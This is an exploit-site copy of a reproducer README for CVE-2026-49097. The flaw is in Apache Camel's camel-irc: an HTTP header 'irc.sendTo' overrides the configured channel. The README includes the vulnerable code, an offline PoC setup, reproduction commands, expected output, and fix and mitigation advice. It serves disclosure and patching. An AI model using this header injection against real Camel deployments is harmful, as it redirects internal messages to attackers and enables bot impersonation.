Exploit for Improper Input Validation in Apache Camel CVE-2026-49097

## https://sploitus.com/exploit?id=7EB7DF1E-63A8-5EB2-BAE3-637632A2AB6B
# camel-irc irc.sendTo Header Injection Reproducer (CVE-2026-49097)

This project demonstrates a **message-header injection** in Apache Camel's `camel-irc` component, tracked as
**CVE-2026-49097**. `IrcProducer` reads the `irc.sendTo` header to choose the destination of the outgoing IRC
message; when present it **overrides the endpoint's configured channel list**:

```java
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // attacker-chosen destination
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // the intended, configured channel(s)
    }
}
```

The header constant `IRC_SEND_TO` has the plain value `irc.sendTo`. Because it does not start with the
`Camel` / `camel` prefix, `HttpHeaderFilterStrategy` — which blocks only the Camel header namespace at the HTTP
boundary — lets it pass from an inbound HTTP request straight into the Exchange.

In a route that bridges an HTTP consumer (for example platform-http) into an `irc:` producer, any HTTP client can
therefore supply `irc.sendTo` and **redirect the message to an arbitrary IRC channel or nick**, exfiltrating
content that was meant for an internal channel to an attacker-monitored destination, or impersonating the bot in
another channel. Nine further `irc.*` constants were renamed in the same fix; `irc.sendTo` is the directly
exploitable one.

This PoC demonstrates the impact as **message redirection / information disclosure (CWE-20 → CWE-74)**.

Advisory: https://camel.apache.org/security/CVE-2026-49097.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-irc` |
| **Affected Class** | `org.apache.camel.component.irc.IrcProducer` reading `IrcConstants.IRC_SEND_TO` (`"irc.sendTo"`) |
| **CWE** | CWE-20 (Improper Input Validation) / CWE-74 (Injection) |
| **Impact** | Redirect an outgoing IRC message to an attacker-chosen channel/nick (exfiltration, impersonation) |
| **Preconditions** | A route bridges an HTTP consumer into an `irc:` producer; unauthenticated when the consumer is |
| **Affected Versions** | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23629 (PR [apache/camel#23594](https://github.com/apache/camel/pull/23594)) |
| **Credit** | Yu Bao (PayPal) |

> The fix renames the ten `irc.*` header constants to the `CamelIrc*` convention (for example
> `irc.sendTo` → `CamelIrcSendTo`), so they are filtered on the HTTP boundary like every other Camel control
> header. Same family as CVE-2025-27636, CVE-2026-46454 and CVE-2026-48206. Note: `camel-irc` is **deprecated as
> of 4.21.0**.

## Why no IRC server is needed

The vulnerability is entirely in `IrcProducer`'s destination selection; the IRC socket is only transport. This
reproducer runs the **real** `IrcProducer` and the **real** irclib `IRCConnection` class, subclassed so that its
`send(...)` (through which every `do*` command — including `doPrivmsg` — funnels) records the PRIVMSG target
instead of writing to a socket. A tiny custom `irc` component hands out that recording connection. No IRC network
is contacted.

## The victim route

```java
from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
```

A "notify" endpoint that forwards to a fixed internal channel `#alerts`. There is no destination parameter in the
HTTP API — the author assumes the client cannot choose the channel. The attacker sets `irc.sendTo` and the bot
posts to a channel of the attacker's choosing.

## Repository layout

```
CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # real IRCConnection subclass; records PRIVMSG targets, no socket
    │   ├── RecordingIrcComponent.java   # hands out the recording connection
    │   ├── IrcComponentConfig.java      # registers it under the 'irc' scheme
    │   ├── IrcRecorder.java             # captures the last delivered target + text
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # attacker: injects irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties
```

## Prerequisites

- Docker and Docker Compose
- Java 17+ and Maven 3.8+

## Reproduction Steps

```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```

### Expected output

```
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true
```

## Recommended Fix

Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23629). After upgrading, routes that set the IRC destination via a
header must use the `CamelIrcSendTo` name. Note that `camel-irc` is deprecated as of 4.21.0.

## Mitigation

Until upgrading, strip the camel-irc control headers from any untrusted ingress before the `irc:` producer (for
example `removeHeaders("irc.*")`), and set the destination from a trusted source.

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission.